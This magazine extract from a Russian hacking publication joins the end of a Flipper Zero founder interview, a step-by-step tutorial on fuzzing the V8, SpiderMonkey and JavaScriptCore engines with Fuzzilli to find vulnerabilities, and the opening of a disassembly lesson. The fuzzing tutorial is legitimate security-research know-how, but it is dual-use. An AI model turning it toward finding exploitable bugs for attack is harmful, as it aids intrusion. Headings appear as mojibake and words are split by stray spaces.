в Китае, никаких рецеп тов нет. А ведь помимо завода есть еще пос тавщи ки
ком понен тов. Это тоже отдель ная исто рия, с ними надо отдель но выс тра-
ивать отно шения...

— À ÷òî çà êîíòðàêòíàÿ ðàçðàáîòêà äëÿ äðóãèõ êîìïàíèé?

— Мож но зай ти на сайт ком пании  и пос мотреть, какие про екты
были до «Флип пера». Нап ример, пар ковоч ные дат чики для ком пании Nwave.
Мобиль ные базовые стан ции для Fairwaves. Раз ные устрой ства делали.
Какие-то из них были на «Кик стар тере», нап ример про ект Monument. И я
с ребята ми тоже иног да работал, про шив ку делал для каких-то демок.
Еще есть ком пания Objectlab, она была до Design Heroes. Там всё: от дат- 
чиков до вен динго вых аппа ратов. По Мос кве сто ят такие тележ ки, про дающие
мороже ное, — мы учас тво вали в их дизай не. Но элек тро нику тог да поч ти
не делали. В основном пром дизайн, кор пуса, литье и про чее.

Design Heroes

— Íà «Ôëèïïåðû» ó âàñ ïî-ïðåæíåìó äèêèé ñïðîñ? Èëè ñòàëî

ñïîêîéíåå?

— Сей час мы про изво дим око ло 40 тысяч устрой ств в месяц. Про даем при- 
мер но столь ко же, даже чуть-чуть мень ше. То есть спрос и пред ложение при- 
мер но выров нялись. Хотим про давать чуть боль ше, может быть, нарас тить
еще про изводс тво, может быть, оста вить как есть. TechCrunch на днях ,
что мы собира емся в этом году про дать на 80 мил лионов дол ларов. Наде юсь,
что получит ся 100, но хотя бы 80.

пи сал

— Õîòÿ áû 80 ìèëëèîíîâ äîëëàðîâ, ëàäíî... À îòêóäà â îñíîâíîì

ïîêóïàòåëè èäóò?

— Сей час очень мно го дает вся кая «орга ника». В «Тик токе» у нас око- 
ло 800 мил лионов прос мотров. Да и прос то сарафан ка по интерне ту. Мы
толь ко сей час потихонь ку начина ем тра тить ся на мар кетинг. До это го все шло
само по себе — орга ничес ки. Да и мы все вре мя были в ситу ации, ког да
спрос пре выша ет пред ложение. Все, что мы про изве ли, сра зу про далось,
и даль ше про давать уже нечего, поэто му не было смыс ла тра тить ся на рек- 
ламу. Сей час мы начали наращи вать объ емы и пос тепен но начина ем стро ить
пла ны про даж.

— Ñ ýêâàéðèíãîì âñå îêåé? Âðîäå âàì â PayPal áûëè äîëæíû?

— Сов сем недав но в PayPal вер нули пос ледние 300 тысяч дол ларов и нав- 
сегда нас забани ли. Нам приш лось нехило пот ратить ся на юрис тов, да и нер- 
вов сколь ко ушло! Нас раз десять бло киро вали, потом часть денег отда ли,
потом вот эти 300 тысяч зажали, но сей час все наконец переве ли. Тем вре- 
менем прош ло уже пол тора года. А ког да мы прив лекли вни мание к этой
исто рии, к нам приш ло очень мно го таких же пос тра дав ших тер пил, которые
сидят с бло киро ван ными сче тами. PayPal — ужас ная помой ка, не рекомен дую
ни в коем слу чае никому никог да поль зовать ся.

— À ÷åì òîãäà ïîðåêîìåíäóåøü ïîëüçîâàòüñÿ, åñëè íå ïîìîéêîé?

— Тут зависит от спе цифи ки биз неса. Я вооб ще не тот человек, которо го нуж- 
но слу шать в этом пла не, потому что у нас спе цифич ный про дукт: в Stripe нас,
к при меру, прос то банят по сво им внут ренним сооб ражени ям. Если вы про- 
даете алко голь, пар фюм, авто моби ли, стра хов ки, там будут совер шенно раз- 
ные эквай рин ги. Тут ком петен тно что-то ска зать очень слож но. Знаю исто- 
рию, как в PayPal забани ли прог рамму для macOS — Little Snitch — за то, что
у них в пись ме с серий ным номером для акти вации была пос ледова тель ность
букв, в которой PayPal раз гля дел некое тер рорис тичес кое сло во. Вот такой
быва ет абсурд.

— Êàêèå ñàìûå íåîáû÷íûå ïðèìåíåíèÿ Flipper Zero, î êîòîðûõ âû

óçíàëè óæå îò ïîëüçîâàòåëåé?

— Я однажды уви дел, как пьезо дина миком откры вают какой-то уль траз- 
вуковой замок. Но навер ное, это мож но сде лать с помощью динами ка
телефо на. А еще меня уди вило, что «Флип пер» счи тыва ет чипы домаш них
живот ных, — мы это сов сем не задумы вали. Мы даже не зна ли, что так мож но:
там дру гая час тота — не 125, а 134 килогер ца. Но наша антенна все рав но
поз воля ет такой резонанс делать, и счи тыва ние работа ет, хоть и не очень
хорошо — при ходит ся целить ся.

А еще меня уди вила фун кция инфрак расно го при емни ка для компь юте ра.
Это ког да ты под клю чаешь «Флип пер» к компь юте ру по USB, ста вишь девайс
инфрак расным окош ком в свою сто рону и можешь управлять компь юте ром
с пуль та телеви зора. «Флип пер» обна ружи вает ся как HID-устрой ство, при- 
нима ет сиг налы и управля ет всем, чем захочешь. Мож но нажать Play и вклю- 
чить музыку или кноп кой Next слай ды перек лючать, на осталь ные кноп ки тоже
что-то наз начить. Я даже уди вил ся, почему я до это го не додумал ся.

— Ñêîëüêî ïðèìåðíî ÷åëîâåê â ìèðå ÷òî-òî ïèëÿò ïîä «Ôëèïïåð»?

— Мне очень слож но ска зать, сколь ко реаль но людей. У нас в Discord что-то
в рай оне 50–100 тысяч человек, и всег да что-то активно обсужда ют. Людей,
которые реаль но прог рамми руют что-то полез ное, а не прос то Hello World,
навер ное, в рай оне сот ни, может быть — две сот ни из нашего полумил лион- 
ного комь юни ти. Для Flipper написа но око ло 60 при ложе ний. Кста ти, ско ро мы
откро ем мар кет плейс. Через мобиль ное при ложе ние Flipper мож но будет
ста вить прог раммы, написан ные сто рон ними раз работ чиками. И любой
жела ющий смо жет отпра вить нам свой FAP — Flipper Application Package.

— Êàê âûãëÿäèò êîìàíäà Flipper Zero?

— Коман да у нас при мер но из 50 человек. Мы сей час хан тим людей, может
быть, к кон цу года ста нет раза в два боль ше. У нас уни каль ный кол лектив и по
сос таву, и по демог рафичес кому приз наку, и по этни чес кому. Мы очень
ЛГБТ-френ дли. Вооб ще, я счи таю, в СНГ нет команд, которые дела ют что-то
подоб ное тому, что дела ем мы. Ну, может быть, Яндекс.

Мы всё раз рабаты ваем внут ри, ин-хаус, пошаго во. Сна чала — про мыш-
ленный дизайн, то есть при думы ваем, как будут выг лядеть фор мы. Затем
конс трук тив — то есть как устрой ство собира ется, как шурупы вкру чива ются,
где реб ра жес ткос ти, как детали будут из пресс-фор мы вытас кивать ся и так
далее. Даль ше раз рабаты ваем элек тро нику: сами пла ты трас сиру ем, стро им
тес тировоч ные линии вок руг это го. Это важ ный этап, потому что наладить
про изводс твен ную линию — это не прос то отрасси ровать пла ту в «Аль тиуме».

Про шив ку тоже пишем сами: основная часть коман ды — это как раз прог- 
раммис ты. В осно ве — наша про шив ка, а вок руг нее — мно жес тво дру гих ути- 
лит. Весь тул чейн мы сде лали сами, и все лежит в откры том дос тупе.
В общем, это хар дкор ный embedded! Плюс у нас два мобиль ных при ложе ния
Flipper — для iOS и для Android.

Мар кетинг тоже фигачим сами: кон тент, сай ты, видео, статьи... А так же
все, что свя зано с комь юни ти. И конеч но, про дажи и боль шая часть того, что
свя зано с логис тикой. Имен но поэто му я счи таю, что в СНГ нет срав нимых
с нами команд.

— Flipper Zero èçíà÷àëüíî ïëàíèðîâàëñÿ êàê ìëàäøàÿ ìîäåëü, â

äîïîëíåíèå ê Flipper One ñ ïîëíîöåííûì ïðîöåññîðîì, Linux è

Wi-Fi. Ê ýòèì ïëàíàì âîçâðàùàåòåñü õîòÿ áû â ìûñëÿõ? ß ÷èòàë,

÷òî òû õîòåë îòêàçàòüñÿ îò ïîâòîðåíèÿ èñòîðèè ñ ðàçðàáîòêîé, íî,

ìîæåò, ýòî ìîðàëüíî áûëà êàêàÿ-òî íèçøàÿ òî÷êà, êîòîðàÿ òåïåðü

ïðîéäåíà?

— Мы сей час работа ем над Flipper One, но пока не сов сем понима ем, каким
он дол жен быть. Мы хотим вооб ще жир ный ком байн с FPGA и SDR, в котором
все про токо лы мож но будет опре делить прог рам мно, но пока есть сом нения,
будут ли покупать устрой ство за 300–500 дол ларов.

Так что про ект в активном R&D, но пока нет понима ния по важ ным час тям.
Нап ример, не выб рали модуль Wi-Fi, потому что все сущес тву ющие чипы,
при год ные для атак, уже уста рели. Воз можно, при дет ся спон сировать раз- 
работ ку сво его драй вера. В общем, уви дим!

mailto:aprilkey@gmail.com
http://t.me/vecherniy_danya
http://danya.ru/
https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/fbt.md
https://blog.flipperzero.one/
https://designheroes.io/work
https://techcrunch.com/2023/06/26/flipper-sales/
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ВЗЛОМ

Се год ня в меню макаро ны! Точ нее, наг- 
лядная демонс тра ция того, как исполь- 
зовать фаз зер Fuzzilli, что бы искать уяз- 
вимос ти в движ ках JavaScript. Теории будет
все го чуть-чуть, сос редото чим ся на прак- 
тике. Быс трень ко соберем необ ходимый
инс тру мен тарий, а затем прис тупим к поис- 
ку багов при помощи фаз зинга.

Рань ше фаз зить движ ки JavaScript (те самые, что поз воля ют делать в бра узе-
ре пада ющий снег или раз рабаты вать бэкен ды на Node.js) было слож но.
Мутации JS-кода при води ли к син такси чес ким ошиб кам, что серь езно замед- 
ляло работу. Сем плы отбра сыва лись движ ком, и при ходи лось генери ровать
новые и новые. На помощь приш ли фаз зеры на осно ве грам матики, но их
при мене ние тоже не назовешь лег ким.

В 2019 году иссле дова тель безопас ности  пуб лично открыл свою
раз работ ку — фаз зер Fuzzilli. Идея была в том, что бы вмес то JavaScript
генери ровать подобие байт-кода, которое будет про ще под вергать мутаци- 
ям. Собс твен но, хоть в наз вании и обыг ран сорт пас ты, про исхо дит оно
от FuzzIL — Fuzzing Intermediate Language, про межу точ ный язык для фаз зинга.

saelo

Fuzzilli

ÑÒÅÍÄ

Для стен да нам понадо бит ся вир туаль ная машина на Linux. Мож но ска чать
готовую вир туал ку с сай та , выб рав дис три бутив по вку су. Я
в статье буду исполь зовать Ubuntu 22.

osboxes.org

Чем боль ше ты выделишь вир туал ке ресур сов, тем луч ше. Фаз зер показы- 
вает пок рытие кода, и в зависи мос ти от мощ ности машины на весь дви жок
может уйти от одно го дня до нес коль ких недель.

Из инс тру мен тов понадо бит ся Git, язык прог рамми рова ния Swift (не путать
с певицей), а так же весь тул чейн, нуж ный для сбор ки JS-движ ка. Но об этом
погово рим чуть поз же.

По ка же запус кай вир туал ку и вво ди свой пароль.

Password=osboxes.org 
  |  echo $Password sudo -S apt update 

sudo apt upgrade -y

Update и upgrade

Фаз зинг — это такой метод тес тирова ния, при котором в ПО вво дят неп- 
равиль ные, неожи дан ные или ран домизи рован ные дан ные, а фаз зер отсле- 
жива ет падения, сра баты вания встро енных утвер жде ний (assert) и утеч ки
памяти.

Важ ный параметр в фаз зинге — это пок рытие кода. По сути это про цент
задей ство ван ного кода прог раммы при выпол нении опре делен ного набора
тес тов.

Фаз зинг мож но раз делить на «тупой», или нес трук туриро ван ный,
и «умный», или струк туриро ван ный. Ког да фаз зер ничего не зна ет о струк туре
вход ных дан ных прог раммы, то это тупой фаз зинг. Если зна ет — умный.

Соз дание вход ных дан ных делит ся на генера цию и мутацию. Генера ция —
это ког да дан ные соз дают пол ностью с нуля, мутация — ког да изме няют име- 
ющиеся.

Еще фаз зеры мож но раз делить на тес тиру ющие методом чер ного
и белого ящи ка — в зависи мос ти от того, какие у нас есть зна ния
об исходном коде.

Тес тирова ние методом чер ного ящи ка озна чает пол ное отсутс твие дан ных
о струк туре прог раммы, в таком слу чае фаз зер соз дает ран домизи рован ные
вход ные дан ные.

Фаз зинг методом белого ящи ка под разуме вает ана лиз прог раммы
для повыше ния пок рытия кода. Нап ример, сим воличес кое исполне ние
для обхо да раз ных час тей прог раммы. Но ана лиз прог раммы занима ет боль- 
ше вре мени, чем при фаз зинге методом чер ного ящи ка.

Еще «ящик» может быть серым. В таком слу чае мы при меня ем инс тру мен- 
тацию кода вмес то ана лиза прог раммы. Это поз воля ет получать информа цию
о прог рамме без ана лиза. То есть что-то сред нее меж ду белым и чер ным
ящи ком. Получа ется, мож но быс тро генери ровать вход ные дан ные, но при
этом узнать информа цию о пок рытии кода.

Фаз зер Fuzzilli отно сит ся как раз к треть ему виду. По типу генера ции вход- 
ных дан ных он сов меща ет в себе генера цию и мутацию. По типу фаз зинга он
ско рее «умный».

JavaScript-äâèæêè
Ос новные час ти движ ка JavaScript — это пар сер, интер пре татор и ком- 
пилятор.

JS-пай плайн

Все начина ется с пар синга исходно го кода на JavaScript. Стро ится абс трак- 
тное син такси чес кое дерево (AST). На его осно ве соз дает ся байт-код. Затем
интер пре татор выпол няет байт-код.

Во вре мя выпол нения записы вает ся раз ная информа ция — proling data.
В даль нейшем она исполь зует ся при ком пиляции байт-кода в машин ный.
Этим занима ется ком пилятор.

Ма шин ный код генери рует ся в тех слу чаях, ког да какой-то учас ток час то
исполь зует ся. Нап ример, фун кция выпол няет ся в цик ле. Тог да выгод нее пот- 
ратить вре мя на его ком пиляцию и в даль нейшем выиг рать во вре мени
выпол нения (ведь интер пре тация идет мед леннее).

Обыч но при меня ется нес коль ко ком пилято ров, и выбор про исхо дит
в зависи мос ти от уров ня опти миза ции кода.

Под робнее о работе движ ков JS — в пре зен тации
«JavaScript engines: The Good Parts» (

).
PDF,

WebArchive

ÏÎÄÃÎÒÎÂÊÀ ÔÀÇÇÅÐÀ

Fuzzilli пос тавля ется в виде исходно го кода, написан ного на язы ке Swift.
Для ска чива ния исходни ков понадо бит ся Git, для сбор ки Fuzzilli — пакеты

GCC, Binutils и, конеч но, исходни ки фаз зера. Ста вим зависи мос ти и кло ниру- 
ем репози торий Fuzzilli.

Password=osboxes.org 
  |  echo $Password sudo -S apt update 
apt sudo install git binutils gcc -y

git clone https://github.com/googleprojectzero/fuzzilli 

Кло ниру ем репози торий

Те перь перехо дим на сайт Swift в раз дел  и ищем релиз для сво его
дис три бути ва. Для Ubuntu 22 кача ем релиз .

Download
Ubuntu 22.04 x86_64

Swift

Рас паковы ваем архив и копиру ем пап ку , что бы уста новить Swift. Пос ле

это го убеж даем ся, что все кор рек тно нас тро ено.

usr

Вот мини-скрипт для ленивых. Если чита ешь эту статью спус тя мно го лет,
поменяй перемен ные  на соот ветс тву ющий URL со стра ницы Swift.SwiftUrl

# Установка Swift
Password=osboxes.org 
SwiftUrl=https://download.swift.org/swift-5.8.1-release/ubuntu2204/
swift-5.8.1-RELEASE/swift-5.8.1-RELEASE-ubuntu22.04.tar.gz 

  |  SwiftTar=$(echo $SwiftUrl sed 's:.*/::')
SwiftFolder=${SwiftTar%.tar.gz}
# Переходим домой
 cd $HOME

# Качаем архив
wget $SwiftUrl
# Извлекаем

  tar -xzf $SwiftTar
# Устанавливаем

  |     echo $Password sudo -S cp -r $SwiftFolder/usr / 
# Удаляем архив
 rm $SwiftTar

# Удаляем папку
  rm -rf $SwiftFolder

# Тестовый запуск
swift --version

Ус танов ка Swift

Те перь мы готовы к сбор ке фаз зера. Перехо дим в пап ку Fuzzilli и запус каем
сбор ку.

cd fuzzilli && swift build -c release 

Со бира ем Fuzzilli

Фаз зер готов. Мож но почитать раз дел помощи, если есть желание.

swift run -c release FuzzilliCli --help

Пе рехо дим к под готов ке JS-движ ков. На глав ной стра нице репози тория инс- 
трук ция гла сит: «Ска чай те исходный код движ ка. Ском пилируй те его, как опи- 
сано в инс трук ции к нему в пап ке Targets». Для каж дого движ ка там есть
отдель ная пап ка, в которой ука зано, как соб рать дви жок для фаз зинга.

Продолжение статьи →

mailto:sploitem@gmail.com
https://twitter.com/5aelo?lang=en
https://www.osboxes.org/virtualbox-images/
https://web.archive.org/web/20221129205602/https://slidrio-decks.global.ssl.fastly.net/1378/original.pdf?1528041322
https://www.swift.org/download/
https://download.swift.org/swift-5.8.1-release/ubuntu2204/swift-5.8.1-RELEASE/swift-5.8.1-RELEASE-ubuntu22.04.tar.gz


ФАЗЗИМ JS-ДВИЖКИ 
ПРИ ПОМОЩИ FUZZILLI

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ V8

Òåîðèÿ

Нач нем с движ ка бра узе ра Google Chrome, он называ ется V8. Это дви жок
JavaScript и WebAssembly, раз работан ный в Google, рас простра няет ся
с откры тым исходным кодом, написан на C++. Исполь зует ся в Chrome,
Node.js и мно жес тве дерива тив Chrome.

Раз работа ли этот дви жок в дат ском городе Орхус, а ведуще го раз работ- 
чика зовут Ларс Бак. Бак занимал ся раз работ кой язы ка Self, а так же
HotSpot — вир туаль ной машины Java. Поэто му мно гое из нарабо ток Self
переко чева ло в V8. Нап ример, та же JIT-ком пиляция или «кар ты» объ ектов
(maps).

Под робнее — в науч ной работе, которая лег ла
в осно ву Self: «An Efcient Implementation of SELF,
a Dynamically-Typed Object-Oriented Language
Based on Prototypes» ( ).PDF, WebArchive

Дви жок сос тоит из интер пре тато ра Ignition, неоп тимизи рующе го ком пилято ра
Sparkplug и опти мизи рующе го ком пилято ра TurboFan.

Пай плайн V8

Ñáîðêà

В пап ке  нам пред лага ют сле довать  с сай та. Но я
не буду утом лять ими, а ском пилирую все в один мини-скрипт.

Targets/V8 инс трук циям

# Подготовка и сборка V8
Password=osboxes.org 

  |  echo $Password sudo -S apt update 
# Переходим домой
 cd $HOME

# Качаем репозиторий depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_
tools.git 
# Добавляем в PATH

  echo "PATH=$HOME/depot_tools:$PATH" >> ~/.bashrc 
source ~/.bashrc 
# Качаем исходники
gclient 
fetch v8 

v8/ cd 
gclient sync
# Ставим зависимости (update — так как скрипт попросит ввести пароль)

  |  echo $Password sudo -S apt update 
./build/install-build-deps.sh 
# Билдим при помощи скрипта из папки фаззера
$HOME/fuzzilli/Targets/V8/fuzzbuild.sh 

Сбор ка V8

Скрипт перехо дит в домаш ний каталог поль зовате ля, затем ста вит
 (для ска чива ния и сбор ки V8), кача ет и ком пилиру ет исходный

код движ ка V8. Сбор ка зай мет какое-то вре мя, зависит от ресур сов машины.
Можешь пока сде лать неболь шую раз минку.

depot_tools

Ôàççèíã

Прис тупа ем наконец к самому фаз зингу. Для это го нуж но выпол нить сле- 
дующую коман ду:

# Запускаем Fuzzilli
# Отключаем дампы

  |   echo $Password sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
 cd $HOME/fuzzilli 

# Запускаем
v8  swift run -c release FuzzilliCli --profile= --resume --storagePath=

$HOME/fuzzilli-storage-v8 $HOME/v8/out/fuzzbuild/d8 

На чина ем фаз зить V8

Ос новные нас трой ки — это про филь движ ка ( ), воз врат к пре- 

дыду щей сес сии фаз зинга ( ) и хра нили ще, куда фаз зер будет сох- 
ранять свои дан ные ( ). Там будут хра нить ся най ден ные кра ши,

кор пус сем плов и про чая информа ция.

--profile=v8
--resume

--storagePath

Пе риоди чес ки он будет выводить ста тис тику фаз зинга. В основном инте- 
рес ны количес тво най ден ных кра шей (Crashes Found) и про цент пок рытия
кода (Coverage).

Ста тус фаз зинга

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ SPIDERMONKEY

Òåîðèÿ

Пе рехо дим к JavaScript-двиг лу Firefox.
SpiderMonkey — это потомок пер вого в мире движ ка JavaScript. Его релиз

сос тоял ся аж в 1995 году! Изна чаль но он раз работан Брен даном Айком
в ком пании Netscape. Пер вые вер сии были написа ны на C, но в даль нейшем
код перепи сали на C++.

Вот струк тура SpiderMonkey. Пар сер про изво дит байт-код. Интер пре татор
JavaScript этот байт-код выпол няет. Baseline-интер пре татор занима ется соз- 
дани ем . Baseline-ком пилятор соз дает неоп тимизи рован- 
ный машин ный код. WarpMonkey — опти мизи рован ный машин ный код.

ин лай нового кеша

Пай плайн SpiderMonkey

Ñáîðêà

В  пишут, что нуж но прос то кло ниро вать репози торий Gecko
и запус тить fuzzbuild.

инс трук ции

Но на самом деле надо при менить пат чи из пап ки Patches. И толь ко пос ле
это го бил дить. К тому же запус кать fuzzbuild нуж но не из , а из рута

.
js/src

gecko-dev

Что ж, прис тупа ем. Нам понадо бит ся curl и ком пилятор Rust для сбор ки движ- 
ка.

# Подготовка и сборка SpiderMonkey
Password=osboxes.org 
 cd $HOME

# Ставим curl
  |   apt curl echo $Password sudo -S install -y

# Ставим Rust
curl   .2 --proto '=https' --tlsv1 -sSf https://sh.rustup.rs -o install.
sh 
sh ./install.sh -y

 source "$HOME/.cargo/env"
# Клонируем
git clone https://github.com/mozilla/gecko-dev.git 
# Заходим
cd gecko-dev/js/src 
# Патчим
git apply $HOME/fuzzilli/Targets/Spidermonkey/Patches/*
 cd $HOME/gecko-dev 

# Собираем
$HOME/fuzzilli/Targets/Spidermonkey/fuzzbuild.sh 

Rust уста нов лен

Бил дим

Ôàççèíã

Пос ле того как дви жок соб ран, можем запус тить фаз зинг из пап ки .

Коман ды запус ка и парамет ры фаз зера те же, кро ме про филя и исполня емо- 
го фай ла.

fuzzilli

# Запуск Fuzzilli
# Отключаем дампы

  |   echo $Password sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
 cd $HOME/fuzzilli 

# Запускаем
 swift run -c release FuzzilliCli --profile=spidermonkey --resume

--storagePath=$HOME/fuzzilli-storage-sm $HOME/gecko-dev/obj-
fuzzbuild/dist/bin/js 

Фаз зим SpiderMonkey

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ JAVASCRIPTCORE

Ну и наконец, JavaScriptCore — JavaScript-дви жок бра узе ра Safari.

Òåîðèÿ

Во обще, мож но ска зать, что это потомок JavaScript-движ ка KJS из бра узе ра
Konqueror, вхо дяще го в KDE. Про ект WebKit стар товал в 2001 году как форк
от KHTML и KJS.

Пай плайн у него самый слож ный, четыре хуров невый.
LLint или Low Level Interpreter — это прос то интер пре татор байт-кода, сге- 
нери рован ного из исходно го кода JavaScript.

•

Да лее идет нем ного опти мизи рующий ком пилятор Baseline. Оба они
собира ют информа цию, необ ходимую для даль нейших опти миза ций
машин ного кода.

•

Сле дующий ком понент — DFG JIT (Data Flow Graph Just In Time). Он отве- 
чает за повыше ние опти миза ции машин ного кода.

•

Ну и FTL JIT (Faster Than Light), генери рует наибо лее опти мизи рован ный
машин ный код.

•

Пай плайн KJS

Ñáîðêà

Смот рим, что пишут в  по поводу JavaScriptCore.Targets

Нуж но кло ниро вать код из репози тория WebKit, накатить пат чи и запус тить
. Для сбор ки пот ребу ется уста новить Clang и зависи мос ти.

В пап ке  есть готовые скрип ты для это го. Кача ем, ста вим все необ- 

ходимое, пат чим, бил дим. Как обыч но, вот скрипт:

fuzzbuild.sh
Tools

# Подготовка и сборка JavaScriptCore
Password=osboxes.org 
 cd $HOME

# Качаем исходный код
git clone https://github.com/WebKit/WebKit.git 
# Ставим зависимости
cd WebKit 

  |  echo $Password sudo -S apt update 
apt sudo install clang -y

Tools/gtk/install-dependencies 
# Патчим
git apply ../fuzzilli/Targets/JavaScriptCore/Patches/*
# Билдим
$HOME/fuzzilli/Targets/JavaScriptCore/fuzzbuild.sh 

Сбор ка JSC

Ôàççèíã

Ког да сбор ка движ ка будет закон чена, можем запус кать фаз зинг. Поеха ли!

# Запуск Fuzzilli
# Отключаем дампы

  |   echo $Password sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
 cd $HOME/fuzzilli 

# Запускаем
jsc  swift run -c release FuzzilliCli --profile= --resume --storagePath

=$HOME/fuzzilli-storage-jsc $HOME/WebKit/FuzzBuild/Debug/bin/jsc 

Фаз зинг JavaScriptCore

Все работа ет. Оста лось дож дать ся инте рес ных кра шей!

ÂÛÂÎÄÛ

Я пос тарал ся рас ска зать всю необ ходимую теорию о фаз зинге, а так же мы
под готови ли плат форму для фаз зинга трех основных движ ков JavaScript.
Одна ко Fuzzilli уме ет работать и с дру гими движ ками (дос таточ но заг лянуть
в пап ку ):Targets

JerryScript;•
QuickJS;•
Qt QJSEngine;•
XS;•
duktape.•

Их можешь поп робовать пофаз зить самос тоятель но.

Coverage Guided Fuzzing for JavaScript Engines Thesis ( )• PDF
• Ви део с OffensiveCon19

Слай ды OffensiveCon19 ( )• PDF
• How Fuzzilli Works
• Ре пози торий Fuzzilli на GitHub

https://web.archive.org/web/20230102232546/https://bibliography.selflanguage.org/_static/implementation.pdf
https://github.com/googleprojectzero/fuzzilli/tree/main/Targets/V8
https://v8.dev/docs/build
https://web.archive.org/web/20230713173337/https://habr.com/ru/companies/otus/articles/447220/
https://github.com/googleprojectzero/fuzzilli/tree/main/Targets/Spidermonkey
https://github.com/googleprojectzero/fuzzilli/tree/main/Targets/JavaScriptCore
https://github.com/googleprojectzero/fuzzilli/tree/main/Targets
https://saelo.github.io/papers/thesis.pdf
https://youtu.be/OHjq9Y66yfc
https://saelo.github.io/presentations/offensivecon_19_fuzzilli.pdf
https://github.com/googleprojectzero/fuzzilli/blob/main/Docs/HowFuzzilliWorks.md
https://github.com/googleprojectzero/fuzzilli
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ВЗЛОМ

Ис сле дова ние прог рамм, написан ных на язы ках высоко го
уров ня, тра дици онно начина ется с реконс трук ции клю чевых
струк тур исходно го язы ка — фун кций, локаль ных и гло баль- 
ных перемен ных, вет вле ний, цик лов и так далее. Это дела ет
дизас сем бли рован ный лис тинг более наг лядным и зна- 
читель но упро щает его ана лиз.

Пе ред тобой уже во вто рой раз обновлен ная вер сия цик ла «Фун дамен таль- 
ные осно вы хакерс тва». В 2018 году Юрий Язев изме нил текст Кри са Кас пер- 
ски для соот ветс твия новым вер сиям Windows и Visual Studio, а теперь внес
прав ки с уче том отладки прог рамм для 64-раз рядной архи тек туры.

Чи тай так же улуч шенные вер сии прош лых ста тей цик ла:
1. Учим ся ана лизи ровать прог раммы для x86-64 с нуля
2. Ис поль зуем отладчик для ана лиза 64-раз рядных прог рамм в Windows
3. На ходим реаль ные адре са инс трук ций в исполня емых фай лах x86-64
4. Ос ваиваем раз ные спо собы поис ка защит в прог раммах для x86-64
5. Мас тер-класс по ана лизу исполня емых фай лов в IDA Pro

Все новые вер сии ста тей дос тупны без плат ной под писки.

Цикл «Фун дамен таль ные осно вы хакерс тва» со все ми обновле ниями опуб- 
ликован в виде кни ги,  ее по выгод ной цене ты можешь на сай те изда- 
тель ства «Солон-пресс».

ку пить

Сов ремен ные дизас сем бле ры дос таточ но интеллек туаль ны и льви ную долю
рас позна вания клю чевых струк тур берут на себя. В час тнос ти, IDA Pro
успешно справ ляет ся с иден тифика цией стан дар тных биб лиотеч ных фун кций,
локаль ных перемен ных, адре суемых через регистр RSP, case-вет вле ний
и про чего. Одна ко порой IDA оши бает ся, вво дя иссле дова теля в заб лужде- 
ние, к тому же высокая сто имость IDA Pro не всег да оправды вает при мене- 
ние. Нап ример, сту ден там, изу чающим ассем блер (а луч шее средс тво изу- 
чения ассем бле ра — дизас сем бли рова ние чужих прог рамм), «Ида» едва ли
по кар ману.

Ра зуме ется, на IDA свет кли ном не сошел ся, сущес тву ют и дру гие дизас- 
сем бле ры — ска жем, тот же DUMPBIN, вхо дящий в штат ную пос тавку SDK.
Почему бы на худой конец не вос поль зовать ся им? Конеч но, если под рукой
нет ничего луч шего, сой дет и DUMPBIN, но в этом слу чае об интеллек туаль- 
нос ти дизас сем бле ра при дет ся забыть и поль зовать ся исклю читель но сво ей
головой.

Пер вым делом мы поз накомим ся с резуль татами работы неоп тимизи- 
рующих ком пилято ров — ана лиз их кода отно ситель но прост и впол не дос- 
тупен для понима ния даже нович кам в прог рамми рова нии. Затем, осво- 
ившись с дизас сем бле ром, перей дем к вещам более слож ным — опти мизи- 
рующим ком пилято рам, которые генери руют очень хит рый, запутан ный
и вити ева тый код.

Ма тери алы к статье на GitHub

ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ

Фун кция (так же называ емая про цеду рой или под прог раммой) — основная
струк турная еди ница про цедур ных и объ ектно ори енти рован ных язы ков,
поэто му дизас сем бли рова ние кода обыч но начина ется с отож дест вле ния
фун кций и иден тифика ции переда ваемых им аргу мен тов. Стро го говоря, тер- 
мин «фун кция» при сутс тву ет не во всех язы ках, но даже там, где он при сутс- 
тву ет, его опре деле ние варь иру ется от язы ка к язы ку.

Не вда ваясь в детали, мы будем понимать под фун кци ей обо соб ленную
пос ледова тель ность команд, вызыва емую из раз личных час тей прог раммы.
Фун кция может при нимать один и более аргу мен тов, а может не при нимать
ни одно го; может воз вра щать резуль тат сво ей работы, а может и не воз вра- 
щать — это уже не суть важ но. Клю чевое свой ство фун кции — воз вра щение
управле ния на мес то ее вызова, а ее харак терный приз нак — мно жес твен ный
вызов из раз личных час тей прог раммы (хотя некото рые фун кции вызыва ются
лишь из одно го мес та).

От куда фун кция зна ет, куда сле дует воз вра тить управле ние? Оче вид но,
вызыва ющий код дол жен пред варитель но сох ранить адрес воз вра та и вмес те
с про чими аргу мен тами передать его вызыва емой фун кции. Сущес тву ет мно- 
жес тво спо собов решения этой проб лемы: мож но, нап ример, перед вызовом
фун кции помес тить в ее конец безус ловный переход на адрес воз вра та, мож- 
но сох ранить адрес воз вра та в спе циаль ной перемен ной и пос ле завер- 
шения фун кции выпол нить кос венный переход, исполь зуя эту перемен ную
как опе ранд инс трук ции ...jump

Не оста нав лива ясь на обсужде нии силь ных и сла бых сто рон каж дого
метода, отме тим, что ком пилято ры в подав ляющем боль шинс тве слу чаев
исполь зуют спе циаль ные машин ные коман ды  и , соот ветс твен но

пред назна чен ные для вызова фун кций и воз вра та из них.

CALL RET

Инс трук ция  закиды вает адрес сле дующей за ней инс трук ции на вер- 

шину сте ка, а RET стя гива ет и переда ет на него управле ние. Тот адрес,
на который ука зыва ет инс трук ция , и есть адрес начала фун кции.
А замыка ет фун кцию инс трук ция  (но вни мание: не вся кий RET обоз нача ет

конец фун кции!).

CALL

CALL
RET

Та ким обра зом, рас познать фун кцию мож но дво яко: по перек рес тным
ссыл кам, ведущим к машин ной инс трук ции , и по ее эпи логу, завер- 

шающе муся инс трук цией . Перек рес тные ссыл ки и эпи лог в совокуп ности

